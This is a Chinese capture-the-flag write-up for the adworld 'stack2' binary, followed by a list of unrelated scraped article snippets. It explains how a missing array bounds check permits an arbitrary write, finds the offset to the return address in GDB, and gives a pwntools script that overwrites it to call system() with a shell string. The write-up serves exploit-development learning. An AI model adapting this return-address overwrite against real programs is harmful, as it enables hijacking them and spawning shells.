adworld - stack2
adworld - stack2
题目概述:给一个数组(自己控制数组大小和填入的数据),并进行(展示, 增加, 修改值, 求平均值, 退出)菜单选项
存在后门函数(system(“/bin/bash”)),但是没找到栈溢出的点
没判断数组的边界造成任意地址修改
但是如何准确无误的填入返回地址?
-> 这就需要寻找数组的首位地址距离返回地址的距离了(就与栈溢出寻找栈大小一样)
思路:通过IDA中汇编确定地址 到GDB中 下断点动调确定大小
1.寻找数组首地址

汇编没什么基础,建议复制粘贴询问AI,逐行解释,慢慢学习+理解
我的理解:eax寄存器保存返回值(输入的v7变量保存在eax寄存器中) — 寻找有关eax的赋值语句 — 赋值给了ecx寄存器
080486D5 mov [eax], cl

下断点,运行,数组长度为1,输入65(0X41),ECX寄存器存放有0x41,且要将低8位赋值给EAX寄存器指向的内存中(数组)
EAX寄存器 0xffffc8d8
2.寻找函数结束的地址

上面有代码 return 0; 这部分就是函数结束的地方了
retn时esp指向的地址是返回地址
0xffffc95c

ESP寄存器内地址 0xffffc95c
>>> 0xffffc8d8 - 0xffffc95c
-132
Exp
# stack2 32位 NX保护,Canary
from pwn import *
context(os='linux', arch='i386', log_level='debug')
context.terminal = ['tmux', 'splitw', '-h']
# 有后门函数->寻找有没有栈溢出 -> 未检查数组边界, 造成任意地址修改
io = process('./stack2')
# io = remote("")
# 寻找参数距离返回地址的距离 0x84def send_num(addr, num):io.sendlineafter(b"5. exit\n", b"3")io.sendlineafter(b"which number to change:\n", str(addr))io.sendlineafter(b"new number:\n", str(num))# system_addr = 0x 08 04 84 50
# binsh_addr = 0x 08 04 89 87io.sendlineafter(b"How many numbers you have:\n", b"1")
io.sendlineafter(b"Give me your numbers\n", b"1")
# 直接从132位开始写 system_addr + return_addr + binsh
send_num(0x84, 0x50)
send_num(0x85, 0x84)
send_num(0x86, 0x04)
send_num(0x87, 0x08)
# 跳过中间四位的返回地址
send_num(0x8C, 0x87)
send_num(0x8D, 0x89)
send_num(0x8E, 0x04)
send_num(0x8F, 0x08)io.sendline(b"5")
io.interactive()
总结
- 数组边界判断 — 访问任意内存地址
- 汇编语言的了解
- GDB动调
参考Wp
https://blog.csdn.net/ckk1314520/article/details/121070383
相关文章:
adworld - stack2
adworld - stack2 题目概述:给一个数组(自己控制数组大小和填入的数据),并进行(展示, 增加, 修改值, 求平均值, 退出)菜单选项 存在后门函数(system(“/bin/bash”)),但是没找到栈溢出的点 没判断数组的边界造成任意地址修改 但是如何准确…...
Python学习从0到1 day28 Python 高阶技巧 ⑤ 多线程
若事与愿违,请相信,上天自有安排,允许一切如其所是 —— 24.11.12 一、进程、线程 现代操作系统比如Mac OS X,UNIX,Linux,Windows等,都是支持“多任务”的操作系统。 进程 进程:就…...
nuget 管理全局包、缓存和临时文件夹
查看文件夹位置 dotnet nuget locals all --list清空数据 # Clear the 3.x cache (use either command) dotnet nuget locals http-cache --clear nuget locals http-cache -clear# Clear the 2.x cache (NuGet CLI 3.5 and earlier only) nuget locals packages-cache -clea…...
linux物理内存管理:node,zone,page
一、总览 对于物理内存内存,linux对内存的组织逻辑从上到下依次是:node,zone,page,这些page是根据buddy分配算法组织的,看下面两张图: 上面的概念做下简单的介绍: Node:…...
uniapp 设置安全区域
<!-- 获取安全区域 --> <script setup lang"ts"> import { computed, ref } from vuelet systemType ref(1) // #ifdef APP-PLUS || H5 || APP-PLUS-NVUE systemType.value 1 const { safeAreaInsets } uni.getSystemInfoSync() console.log(safeAre…...
渐进式JavaScript框架Vue 3 入门
目录 前言1. Vue 3 的基础入门1.1 什么是 Vue.js1.2 局部使用 Vue 2. Vue 3 的基本配置2.1 准备 HTML 页面并引入 Vue 模块2.2 创建 Vue 应用实例 3. Vue 的数据绑定与界面渲染3.1 插值表达式 4. 常用指令详解4.1 v-for 指令:列表渲染4.2 v-bind 指令:绑…...
【真题笔记】21年系统架构设计师案例理论点总结
【真题笔记】21年系统架构设计师案例理论点总结 从机器学习定义的灵活性和学习算法的可扩展性,对解释器+管道过滤器+隐式调用进行对比分析!面向对象方法开发软件,建立对象模型+动态模型+功能模型,三者关联关系!数据架构的设计过程包括:数据定义、数据分布、数据管理,三者…...
PostgreSQL的奥秘:深入探究事务与锁的秘密世界
PostgreSQL事务 1. 概述 在数据库系统中,事务(Transaction)是执行数据库操作的最小逻辑单位。它确保了一组操作的完整性和一致性。事务可以通过显式的 BEGIN、COMMIT 和 ROLLBACK 语句块来控制,也可以在自动提交模式(…...
Python进行GRPC和Dubbo协议的高级测试
在微服务架构日益流行的今天,分布式系统的复杂性不断增加。GRPC 和 Dubbo 协议作为当今互联网行业中常见的高性能通信协议,已经成为服务之间交互的核心。然而,随着服务调用层次的不断增加,如何有效地测试这两种协议,确…...
全程云OA系统QCPES.asmx存在SQL注入漏洞
免责声明: 本文旨在提供有关特定漏洞的深入信息,帮助用户充分了解潜在的安全风险。发布此信息的目的在于提升网络安全意识和推动技术进步,未经授权访问系统、网络或应用程序,可能会导致法律责任或严重后果。因此,作者不对读者基于本文内容所采取的任何行为承担责任。读者在…...
从建立TRUST到实现FAIR:可持续海洋经济的数据管理
1. 引言 随着我们对信息管理方式的信任,我们的社会对数字化数据的以来呈指数级增长。为了跟上大数据的需求,通过不断的努力和持续实践,对“good”数据管理方式的共识也在不断发展和演变。 加拿大正在建设国家基础设施和服务以及研究数据管理…...
基于SSM的“汽车销售分析与管理系统”的设计与实现(源码+数据库+文档+PPT)
基于SSM的“汽车销售分析与管理系统”的设计与实现(源码数据库文档PPT) 开发语言:Java 数据库:MySQL 技术:SSM 工具:IDEA/Ecilpse、Navicat、Maven 系统展示 系统功能结构图 销售经理系统首页图 客户管理图 车辆销…...
vs2015QT项目添加多语言翻译总结
一、简介 当软件有国际化的需求时,就需要多语言翻译功能,最常见的语言就是支持中文和英语,本文介绍在vs2015QT环境下,进行国际化翻译的具体流程。 二、多语言翻译实现流程 1.底层实现原理介绍 QT写的客户端软件,能…...
替换OpenTSDB和HBase,宝武集团使用IoTDB助力钢铁设备智能运维
时序数据库 IoTDB 应用于宝武集团全基地钢铁时序数据管理,激活数据资产,赋能大型设备智能运维。 1. 背景概述 宝武装备智能科技有限公司(以下简称:宝武智维)是中国宝武设备智能运维专业化平台公司,30 余年始…...
MathGPT的原理介绍,在中小学数学教学的应用场景,以及代码样例实现
大家好,我是微学AI,今天给大家介绍一下MathGPT的原理介绍,在中小学数学教学的应用场景,以及代码样例实现。MathGPT的核心架构是一个精心设计的多层次系统,旨在有效处理复杂的数学问题。其主要组成部分包括 数学知识图谱…...
前端框架大比拼:React.js, Vue.js 及 Angular 的优势与适用场景探讨
文章目录 前言一、React.js特点使用方法适用场景 二、Vue.js特点使用方法适用场景 三、Angular特点使用方法适用场景 四、如何选择合适的前端框架五、前端框架对项目性能的影响结语 前言 随着互联网技术的飞速发展,前端开发已经从简单的页面展示演变为复杂的应用构…...
MySQL45讲 第二十讲 幻读是什么,幻读有什么问题?
文章目录 MySQL45讲 第二十讲 幻读是什么,幻读有什么问题?一、幻读的定义二、幻读带来的问题(一)语义问题(二)数据一致性问题 三、InnoDB 解决幻读的方法四、总结 MySQL45讲 第二十讲 幻读是什么࿰…...
MySQL技巧之跨服务器数据查询:进阶篇-从A数据库复制到B数据库的表中
MySQL技巧之跨服务器数据查询:进阶篇-从A数据库复制到B数据库的表中 基础篇已经描述:借用微软的SQL Server ODBC 即可实现MySQL跨服务器间的数据查询。 而且还介绍了如何获得一个在MS SQL Server 可以连接指定实例的MySQL数据库的连接名: MY_ODBC_MYSQ…...
【论文阅读】利用SEM二维图像表征黏土矿物三维结构
导言 在油气储层研究中,黏土矿物对流体流动的影响需要在微观尺度上理解,但传统的二维SEM图像难以完整地表征三维孔隙结构。常规的三维成像技术如FIB-SEM(聚焦离子束扫描电子显微镜)虽然可以获取高精度的3D图像,但成本…...
可靠UDP协议(KCP)使用说明
希望这篇文章,对学习和使用 KCP 协议的读者,有帮助。 1. KCPUDP 流程图 2. 示例代码(待补充) #include <iostream>int main() {// TODO: kcp examplereturn 0; }...
Rust Web开发:ActixWeb实战指南
1. 为什么选择ActixWeb进行Rust Web开发 我第一次接触ActixWeb是在三年前的一个电商项目里,当时团队需要处理每秒上万次的库存查询请求。测试了多个Rust框架后,ActixWeb凭借其卓越的性能表现脱颖而出——在同等硬件条件下,它的QPS(…...
FeignClient调用接口参数为null?可能是这个阿里规范在作怪
FeignClient参数丢失陷阱:从布尔类型序列化到企业级解决方案 微服务架构下,FeignClient作为声明式HTTP客户端,其简洁的API设计让远程调用如同本地方法般自然。但当你的DTO对象中那个精心设计的isActive字段在服务端始终显示为null时ÿ…...
从Solid模块到轨迹规划:一个完整机械臂SimMechanics仿真项目的保姆级拆解
从Solid模块到轨迹规划:一个完整机械臂SimMechanics仿真项目的保姆级拆解 机械臂仿真一直是工业自动化和机器人研究中的核心课题。不同于传统Adams等专业仿真软件,SimMechanics凭借其与Matlab/Simulink的无缝集成,为工程师提供了从建模到控制…...
Android设备指纹采集指南:从get_token协议看短视频SDK如何生成唯一设备ID
Android设备指纹生成机制深度解析:从基础原理到合规实践 在移动应用生态中,设备指纹技术扮演着至关重要的角色。它不仅关系到用户体验的连贯性,更是风控系统的基础支撑。本文将系统性地剖析Android平台下设备指纹的生成逻辑、技术实现方案以及…...
GEC6818嵌入式Linux智能车库系统开发实战
1. 项目概述这个基于GEC6818嵌入式Linux的智能车库系统,是我去年为一个商业停车场改造项目开发的解决方案。当时客户的主要痛点在于传统人工管理效率低下,经常出现收费纠纷和停车位利用率不高的问题。经过三个月的开发和调试,最终实现了这套集…...
GCN在推荐系统中的应用:如何用图神经网络提升电商个性化推荐效果
GCN在电商推荐系统中的实战指南:从二部图构建到A/B测试全流程 当你在电商平台浏览商品时,那些"猜你喜欢"的推荐背后,可能正运行着一套基于图神经网络(GCN)的复杂算法系统。与传统的协同过滤不同,GCN能够捕捉用户-商品交…...
BEYOND REALITY Z-Image新手入门:三步生成你的第一张8K写真人像
BEYOND REALITY Z-Image新手入门:三步生成你的第一张8K写真人像 1. 为什么选择BEYOND REALITY Z-Image? 在当前的AI图像生成领域,写实人像一直是最具挑战性的任务之一。传统模型往往难以平衡细节精度与自然感,生成的图片要么过于…...
像素史诗智识终端效果展示:自动提取数据关键指标并生成结论段落
像素史诗智识终端效果展示:自动提取数据关键指标并生成结论段落 1. 产品概览:当科研遇上像素冒险 像素史诗智识终端(Pixel Epic Wisdom Terminal)是一款颠覆传统的研究报告辅助工具。它将枯燥的数据分析过程转化为一场充满像素美学的RPG冒险࿰…...
R16增强型Type II码本:空频域联合压缩与量化反馈机制解析
1. R16增强型Type II码本的技术背景 在5G Massive MIMO系统中,信道状态信息(CSI)反馈的精度和效率直接影响着系统性能。R15 Type II码本虽然已经实现了空域压缩,但随着频段向毫米波延伸和天线规模扩大,传统方案面临反馈…...
WindowsCleaner:告别C盘爆红,让Windows系统重获新生
WindowsCleaner:告别C盘爆红,让Windows系统重获新生 【免费下载链接】WindowsCleaner Windows Cleaner——专治C盘爆红及各种不服! 项目地址: https://gitcode.com/gh_mirrors/wi/WindowsCleaner 你是否经历过Windows系统越用越慢&…...
